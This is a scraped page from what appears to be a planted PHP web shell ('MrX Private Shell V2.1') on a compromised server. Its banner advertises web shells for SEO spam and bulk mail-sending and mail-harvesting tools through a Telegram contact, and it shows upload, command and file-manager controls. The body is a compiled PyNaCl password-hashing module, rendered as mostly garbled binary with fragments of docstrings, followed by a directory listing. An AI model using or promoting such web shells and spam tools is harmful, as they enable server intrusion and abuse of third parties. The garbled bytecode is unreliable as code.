__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

#�`g�I��,
�%SSKrSSKJr SSKJr SSKJrJr SSKJ	r	 \
"\R5rSr
SrSrSrSrSrSrSrSrSrSrSrSrSrSr\(Ga#\R8"\R:"S\R<"555SSr
\R>"5r\R@"5r\RB"5r\RD"5r\RF"5r\RH"5r\RJ"5r\RL"5r\RN"5r\RP"5r\RR"5r\RT"5r\RV"5r\RX"5r\RZ"5r.\/\0S'\Rb"5r2\/\0S'\Rf"5r4\/\0S	'\Rj"5r6\/\0S
'\Rn"5r8\/\0S'\Rr"5r:\/\0S'\Rv"5r<\/\0S
'\Rz"5r>\/\0S'\R~"5r@\/\0S'\R8"\R:"S\R�"555SSrB\C\0S'\R�"5rE\/\0S'\R�"5rG\/\0S'\R�"5rI\/\0S'\R�"5rK\/\0S'\R�"5rM\/\0S'\R�"5rO\/\0S'\R�"5rQ\/\0S'\R�"5rS\/\0S'\R�"5rU\/\0S'\R�"5rW\/\0S'\R8"\R:"S\R�"555SSrY\C\0S'\R�"5r[\/\0S'\R�"5r]\/\0S'\R�"5r_\/\0S'\R�"5ra\/\0S'\R�"5rc\/\0S '\R�"5re\/\0S!'\R�"5rg\/\0S"'\R�"5ri\/\0S#'\R�"5rk\/\0S$'\R�"5rm\/\0S%'\rn\ro\rp\rq\rr\rsS&rtS'ruS(rvS)rw\w4S*\/S+\/S,\/S-\/S.S4
S/jjrxS0\/S1\/S.\\/\/\/44S2jryS3\w4S4\CS5\CS*\/S+\/S,\/S6\/S-\/S.\C4S7jjrz\n\o4S4\CS0\/S1\/S.\C4S8jjr{S9\CS4\CS.\
4S:jr|S0\/S1\/S;\/S.S4S<jr}S=\/S4\CS5\CS0\/S1\/S;\/S.\C4S>jr~S4\CS0\/S1\/S;\/S.\C4
S?jrS9\CS4\CS.\
4S@jr�\�r�g)A�N)�Tuple)�ffi�lib)�ensure��char *�crypto_pwhash_ALG_ARGON2I13�crypto_pwhash_ALG_ARGON2ID13�crypto_pwhash_ALG_DEFAULT�crypto_pwhash_SALTBYTES�crypto_pwhash_STRBYTES�crypto_pwhash_PASSWD_MIN�crypto_pwhash_PASSWD_MAX�crypto_pwhash_BYTES_MIN�crypto_pwhash_BYTES_MAX�crypto_pwhash_argon2i_STRPREFIX�"crypto_pwhash_argon2i_MEMLIMIT_MIN�"crypto_pwhash_argon2i_MEMLIMIT_MAX�"crypto_pwhash_argon2i_OPSLIMIT_MIN�"crypto_pwhash_argon2i_OPSLIMIT_MAX�*crypto_pwhash_argon2i_OPSLIMIT_INTERACTIVE�*crypto_pwhash_argon2i_MEMLIMIT_INTERACTIVE�'crypto_pwhash_argon2i_OPSLIMIT_MODERATE�'crypto_pwhash_argon2i_MEMLIMIT_MODERATE�(crypto_pwhash_argon2i_OPSLIMIT_SENSITIVE�(crypto_pwhash_argon2i_MEMLIMIT_SENSITIVE� crypto_pwhash_argon2id_STRPREFIX�#crypto_pwhash_argon2id_MEMLIMIT_MIN�#crypto_pwhash_argon2id_MEMLIMIT_MAX�#crypto_pwhash_argon2id_OPSLIMIT_MIN�#crypto_pwhash_argon2id_OPSLIMIT_MAX�+crypto_pwhash_argon2id_OPSLIMIT_INTERACTIVE�+crypto_pwhash_argon2id_MEMLIMIT_INTERACTIVE�(crypto_pwhash_argon2id_OPSLIMIT_MODERATE�(crypto_pwhash_argon2id_MEMLIMIT_MODERATE�)crypto_pwhash_argon2id_OPSLIMIT_SENSITIVE�)crypto_pwhash_argon2id_MEMLIMIT_SENSITIVE��?�?l����i�n�r�p�maxmem�returnc���[US:gS[RS9 [US:gS[RS9 [XS-
-S:HS[RS9 [US:�S[RS9 [U[U-:*SR	[5[RS9 [USS	U--:[RS9 US
-U-n[
S
-n[US-XQ-:*[RS9 SU-US--S
-n[U[
U-
:*[RS9 [U[RU-
:*[RS9 [XF-U:*S[RS9 g)NrzInvalid block size��raisingzInvalid parallelization factor�z Cost factor must be a power of 2zCost factor must be at least 2zp*r is greater than {}���� �z7Memory limit would be exceeded with the choosen n, r, p)r�exc�
ValueError�
SCRYPT_PR_MAX�format�
UINT64_MAX�sys�maxsize)r*r+r,r-�Blen�i�Vlens       �=/usr/lib/python3/dist-packages/nacl/bindings/crypto_pwhash.py�_check_memory_occupationrC�sB���1��6�'����@�
�1��6�3�S�^�^�L�
�	
�!�e����*������1�q�5�2�C�N�N�K�
�	�]�Q�
�� �'�'�
�6������1��b�1�f�
�����7��s�7�Q�;�D��S��A�
�1�q�5�A�E�>�3�>�>�2�
��6�Q��U��a��D�
�4�:��$�$�c�n�n�=�
�4�3�;�;��%�%�s�~�~�>�
���v��A����r�opslimit�memlimitc��US:aSnSnXS-:a,SnUSU--n[SS5HnSU-US-:�dM OB O?XS--n[SS5HnSU-US-:�dM O US-SW--nUS	:�aS	nXb-nWX#4$)
z/Python implementation of libsodium's pickparamsi��r6r2r7r)r5r4r()�range)rDrEr+r,�maxn�n_log2�maxrps       rB� nacl_bindings_pick_scrypt_paramsrL�s���
�%����	�A��r�>�"�
���A��E�"���A�r�l�F��V����	�*��#���G�$���A�r�l�F��V��t�q�y�(��#��Q��A��K�0���:���E��J���1�<�r�@�passwd�salt�dklenc��[[S[RS9 [[	U[
5[S9 [[	U[
5[S9 [[	U[
5[S9 [[	U[5[S9 [[	U[5[S9 [X#XF5 [R"SU5n[R"U[U5U[U5X#XGU5	n[US:HS[RS9 [R"[R "SU5U5SS$)aR
Derive a cryptographic key using the ``passwd`` and ``salt``
given as input.

The work factor can be tuned by by picking different
values for the parameters

:param bytes passwd:
:param bytes salt:
:param bytes salt: *must* be *exactly* :py:const:`.SALTBYTES` long
:param int dklen:
:param int opslimit:
:param int n:
:param int r: block size,
:param int p: the parallelism factor
:param int maxmem: the maximum available memory available for scrypt's
                   operations
:rtype: bytes
:raises nacl.exceptions.UnavailableError: If called when using a
    minimal build of libsodium.
�Not available in minimal buildr0z	uint8_t[]r�$Unexpected failure in key derivationrN)r�&has_crypto_pwhash_scryptsalsa208sha256r8�UnavailableError�
isinstance�int�	TypeError�bytesrCr�newr�%crypto_pwhash_scryptsalsa208sha256_ll�len�RuntimeError�buffer�cast)	rNrOr*r+r,rPr-�buf�rets	         rBr[r[	s���<�.�(��$�$���:�a���y�1�
�:�a���y�1�
�:�a���y�1�
�:�f�e�$�i�8�
�:�d�E�"�I�6��Q�1�-�

�'�'�+�u�
%�C�

�
3�
3���F��T�3�t�9�a�A�E��C���q��.�� � ���:�:�c�h�h�x��-�u�5�a�8�8rc��[[S[RS9 [R
"S[5n[R"X0[U5X5n[US:HS[RS9 [R"U5$)aL
Derive a cryptographic key using the ``passwd`` and ``salt``
given as input, returning a string representation which includes
the salt and the tuning parameters.

The returned string can be directly stored as a password hash.

See :py:func:`.crypto_pwhash_scryptsalsa208sha256` for a short
discussion about ``opslimit`` and ``memlimit`` values.

:param bytes passwd:
:param int opslimit:
:param int memlimit:
:return: serialized key hash, including salt and tuning parameters
:rtype: bytes
:raises nacl.exceptions.UnavailableError: If called when using a
    minimal build of libsodium.
rRr0�char[]rz&Unexpected failure in password hashing)rrTr8rUrrZ�SCRYPT_STRBYTESr�&crypto_pwhash_scryptsalsa208sha256_strr\r]�string)rNrDrEr`ras     rBrereEsu��.�.�(��$�$���'�'�(�O�
,�C�

�
4�
4��S��[�(��C���q��0�� � ���:�:�c�?�r�passwd_hashc��[[S[RS9 [[	U5[
S-
:HS[RS9 [R"X[	U55n[US:HS[RS9 g)a
Verifies the ``passwd`` against the ``passwd_hash`` that was generated.
Returns True or False depending on the success

:param passwd_hash: bytes
:param passwd: bytes
:rtype: boolean
:raises nacl.exceptions.UnavailableError: If called when using a
    minimal build of libsodium.
rRr0r2zInvalid password hashr�Wrong passwordT)
rrTr8rUr\rdr9r�-crypto_pwhash_scryptsalsa208sha256_str_verify�InvalidkeyError�rgrNras   rBrjrjqsx���.�(��$�$����K��O�a�/�/�������
;�
;��S��[��C��3�!�8�%�s�/B�/B�C�r�algc��U[:Xa�U[:a)[R"SR	[55eU[
:�a)[R"SR	[
55eU[:a)[R"SR	[55eU[:�a)[R"SR	[55egU[:Xa�U[:a)[R"SR	[55eU[:�a)[R"SR	[55eU[:a)[R"SR	[55eU[:�a)[R"SR	[55eg[R"S5e)Nz"memlimit must be at least {} bytesz!memlimit must be at most {} byteszopslimit must be at least {}zopslimit must be at most {}zUnsupported algorithm)r	rr8r9r;rrrr
rrr r!rX)rDrErms   rB�_check_argon2_limits_algro�s���
�)�)��8�8��.�.�4�;�;�6���
�
�:�
:��.�.�3�:�:�6���
�
�8�8��.�.�.�5�5�6���
�
�:�
:��.�.�-�4�4�6���
�;�

�,�	,��9�9��.�.�4�;�;�7���
�
�;�
;��.�.�3�:�:�7���
�
�9�9��.�.�.�5�5�7���
�
�;�
;��.�.�-�4�4�7���
�<��m�m�3�4�4r�outlenc
��[[U[5[RS9 [[U[5[RS9 [[U[5[RS9 [[U[5[RS9 [[U[
5[RS9 [
U5[:wa)[R"SR[55eU[:a)[R"SR[55eU[:�a)[R"SR[55e[X4U5 [R"SU5n[R "X`U[
U5X#XE5n[US:HS[R"S9 [R$"X`5SS$)	a�
Derive a raw cryptographic key using the ``passwd`` and the ``salt``
given as input to the ``alg`` algorithm.

:param outlen: the length of the derived key
:type outlen: int
:param passwd: The input password
:type passwd: bytes
:param salt:
:type salt: bytes
:param opslimit: computational cost
:type opslimit: int
:param memlimit: memory cost
:type memlimit: int
:param alg: algorithm identifier
:type alg: int
:return: derived key
:rtype: bytes
r0z"salt must be exactly {} bytes longz*derived key must be at least {} bytes longz)derived key must be at most {} bytes longzunsigned char[]rrSN)rrVrWr8rXrYr\rr9r;rrrorrZr�
crypto_pwhashr]r^)rprNrOrDrErm�outbufras        rB�crypto_pwhash_algrt�se��6�:�f�c�"�C�M�M�:�
�:�h��$�c�m�m�<�
�:�h��$�c�m�m�<�
�:�c�3�����7�
�:�f�e�$�c�m�m�<�
�4�y�+�+��n�n�0�7�7�'�
�
�	
��'�'��n�n�8�?�?�'�
�
�	
�
�)�	)��n�n�7�>�>�'�
�
�	
��X��5�
�W�W�&��
/�F�

�
�
����F��T�X��C���q��.�� � ���:�:�f�%�a�(�(rc��[[U[5[S9 [[U[5[S9 [[U[5[S9 [XU5 [R"SS5n[R"X@[U5XU5n[US:HS[RS9 [R"U5$)a�
Derive a cryptographic key using the ``passwd`` given as input
and a random salt, returning a string representation which
includes the salt, the tuning parameters and the used algorithm.

:param passwd: The input password
:type passwd: bytes
:param opslimit: computational cost
:type opslimit: int
:param memlimit: memory cost
:type memlimit: int
:param alg: The algorithm to use
:type alg: int
:return: serialized derived key and parameters
:rtype: bytes
r0rcr4rrS)rrVrWrXrYrorrZr�crypto_pwhash_str_algr\r8r]rf)rNrDrErmrsras      rBrvrvs���,�:�h��$�i�8�
�:�h��$�i�8�
�:�f�e�$�i�8��X��5�
�W�W�X�s�
#�F�

�
#�
#���F��X���C���q��.�� � ���:�:�f��rc�6�[[U[5[S9 [[U[5[S9 [[	U5S:*S[
RS9 [R"X[	U55n[US:HS[
RS9 g)a
Verifies the ``passwd`` against a given password hash.

Returns True on success, raises InvalidkeyError on failure
:param passwd_hash: saved password hash
:type passwd_hash: bytes
:param passwd: password to be checked
:type passwd: bytes
:return: success
:rtype: boolean
r0�z#Hash must be at most 127 bytes longrriT)
rrVrYrXr\r8r9r�crypto_pwhash_str_verifyrkrls   rBryry=sw���:�k�5�)�9�=�
�:�f�e�$�i�8�
��K��C��-������
&�
&�{�C��K�
H�C�
�3�!�8�%�s�/B�/B�C�r)�r=�typingr�nacl.exceptions�
exceptionsr8�nacl._sodiumrrr�bool�-PYNACL_HAS_CRYPTO_PWHASH_SCRYPTSALSA208SHA256rT�,crypto_pwhash_scryptsalsa208sha256_STRPREFIX�,crypto_pwhash_scryptsalsa208sha256_SALTBYTES�+crypto_pwhash_scryptsalsa208sha256_STRBYTES�-crypto_pwhash_scryptsalsa208sha256_PASSWD_MIN�-crypto_pwhash_scryptsalsa208sha256_PASSWD_MAX�,crypto_pwhash_scryptsalsa208sha256_BYTES_MIN�,crypto_pwhash_scryptsalsa208sha256_BYTES_MAX�/crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_MIN�/crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_MAX�/crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_MIN�/crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_MAX�7crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_INTERACTIVE�7crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_INTERACTIVE�5crypto_pwhash_scryptsalsa208sha256_OPSLIMIT_SENSITIVE�5crypto_pwhash_scryptsalsa208sha256_MEMLIMIT_SENSITIVErfr_�,crypto_pwhash_scryptsalsa208sha256_strprefix�,crypto_pwhash_scryptsalsa208sha256_saltbytes�+crypto_pwhash_scryptsalsa208sha256_strbytes�-crypto_pwhash_scryptsalsa208sha256_passwd_min�-crypto_pwhash_scryptsalsa208sha256_passwd_max�,crypto_pwhash_scryptsalsa208sha256_bytes_min�,crypto_pwhash_scryptsalsa208sha256_bytes_max�/crypto_pwhash_scryptsalsa208sha256_memlimit_min�/crypto_pwhash_scryptsalsa208sha256_memlimit_max�/crypto_pwhash_scryptsalsa208sha256_opslimit_min�/crypto_pwhash_scryptsalsa208sha256_opslimit_max�7crypto_pwhash_scryptsalsa208sha256_opslimit_interactive�7crypto_pwhash_scryptsalsa208sha256_memlimit_interactive�5crypto_pwhash_scryptsalsa208sha256_opslimit_sensitive�5crypto_pwhash_scryptsalsa208sha256_memlimit_sensitive�crypto_pwhash_alg_argon2i13r	rW�__annotations__�crypto_pwhash_alg_argon2id13r
�crypto_pwhash_alg_defaultr�crypto_pwhash_saltbytesr�crypto_pwhash_strbytesr
�crypto_pwhash_passwd_minr�crypto_pwhash_passwd_maxr�crypto_pwhash_bytes_minr�crypto_pwhash_bytes_maxr�crypto_pwhash_argon2i_strprefixrrY�"crypto_pwhash_argon2i_memlimit_minr�"crypto_pwhash_argon2i_memlimit_maxr�"crypto_pwhash_argon2i_opslimit_minr�"crypto_pwhash_argon2i_opslimit_maxr�*crypto_pwhash_argon2i_opslimit_interactiver�*crypto_pwhash_argon2i_memlimit_interactiver�'crypto_pwhash_argon2i_opslimit_moderater�'crypto_pwhash_argon2i_memlimit_moderater�(crypto_pwhash_argon2i_opslimit_sensitiver�(crypto_pwhash_argon2i_memlimit_sensitiver� crypto_pwhash_argon2id_strprefixr�#crypto_pwhash_argon2id_memlimit_minr�#crypto_pwhash_argon2id_memlimit_maxr�#crypto_pwhash_argon2id_opslimit_minr �#crypto_pwhash_argon2id_opslimit_maxr!�+crypto_pwhash_argon2id_opslimit_interactiver"�+crypto_pwhash_argon2id_memlimit_interactiver#�(crypto_pwhash_argon2id_opslimit_moderater$�(crypto_pwhash_argon2id_memlimit_moderater%�)crypto_pwhash_argon2id_opslimit_sensitiver&�)crypto_pwhash_argon2id_memlimit_sensitiver'�SCRYPT_OPSLIMIT_INTERACTIVE�SCRYPT_MEMLIMIT_INTERACTIVE�SCRYPT_OPSLIMIT_SENSITIVE�SCRYPT_MEMLIMIT_SENSITIVE�SCRYPT_SALTBYTESrdr:�LOG2_UINT64_MAXr<�SCRYPT_MAX_MEMrCrLr[rerjrortrvry� crypto_pwhash_argon2i_str_verify�rrB�<module>r�s�����!�"�*.��5�5�*�&�03�,�/0�,�./�+�01�-�01�-�/0�,�/0�,�23�/�23�/�23�/�23�/�:;�7�:;�7�89�5�89�5�)�36�:�:�����3�K�K�M�N�4��4	�0�	�8�8�:�1�	�7�7�9�0�	�9�9�;�2�	�9�9�;�2�	�8�8�:�1�	�8�8�:�1�	�;�;�=�4�	�;�;�=�4�	�;�;�=�4�	�;�;�=�4�	�C�C�E�<�	�C�C�E�<�	�A�A�C�:�	�A�A�C�:�$'�#B�#B�#D��S�D�$'�$D�$D�$F��c�F�!$�!>�!>�!@��3�@�"�:�:�<���<�!�8�8�:���:� #� <� <� >��#�>� #� <� <� >��#�>�"�:�:�<���<�"�:�:�<���<�),����H�H�X�s�:�:�<�=�*��*�����*�*�,�#�C���*�*�,�#�C���*�*�,�#�C���*�*�,�#�C���2�2�4�+�C���2�2�4�+�C���/�/�1�(����/�/�1�(����0�0�2�)�#���0�0�2�)�#��+.�*�*��H�H�X�s�;�;�=�>�+��+� �%���+�+�-�$�S���+�+�-�$�S���+�+�-�$�S���+�+�-�$�S���3�3�5�,�S���3�3�5�,�S���0�0�2�)�#���0�0�2�)�#���1�1�3�*�3���1�1�3�*�3��
<��<��:��:��@��=���
���
�
�#��+9�'�
�'��'��'�$'�'�	�'�T��� ��
�3��S�=���L� �99��99�
�99��99��	99�
�99��
99�
�99��99�|0�/�)��)��)��)��	)�X��� %��	��B65�s�65�c�65��65��65�rD)��D)��D)��D)��	D)�
�D)�

�
D)��D)�N(��(��(��(�

�	(�
�(�V�%����4��6$<� r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 10.57 KB 0644
crypto_aead.cpython-313.pyc File 15.71 KB 0644
crypto_box.cpython-313.pyc File 12.45 KB 0644
crypto_core.cpython-313.pyc File 14.06 KB 0644
crypto_generichash.cpython-313.pyc File 10.51 KB 0644
crypto_hash.cpython-313.pyc File 2.23 KB 0644
crypto_kx.cpython-313.pyc File 6.6 KB 0644
crypto_pwhash.cpython-313.pyc File 20.76 KB 0644
crypto_scalarmult.cpython-313.pyc File 8.74 KB 0644
crypto_secretbox.cpython-313.pyc File 3.41 KB 0644
crypto_secretstream.cpython-313.pyc File 11.95 KB 0644
crypto_shorthash.cpython-313.pyc File 3.03 KB 0644
crypto_sign.cpython-313.pyc File 12.3 KB 0644
randombytes.cpython-313.pyc File 1.62 KB 0644
sodium_core.cpython-313.pyc File 921 B 0644
utils.cpython-313.pyc File 5.82 KB 0644
Filemanager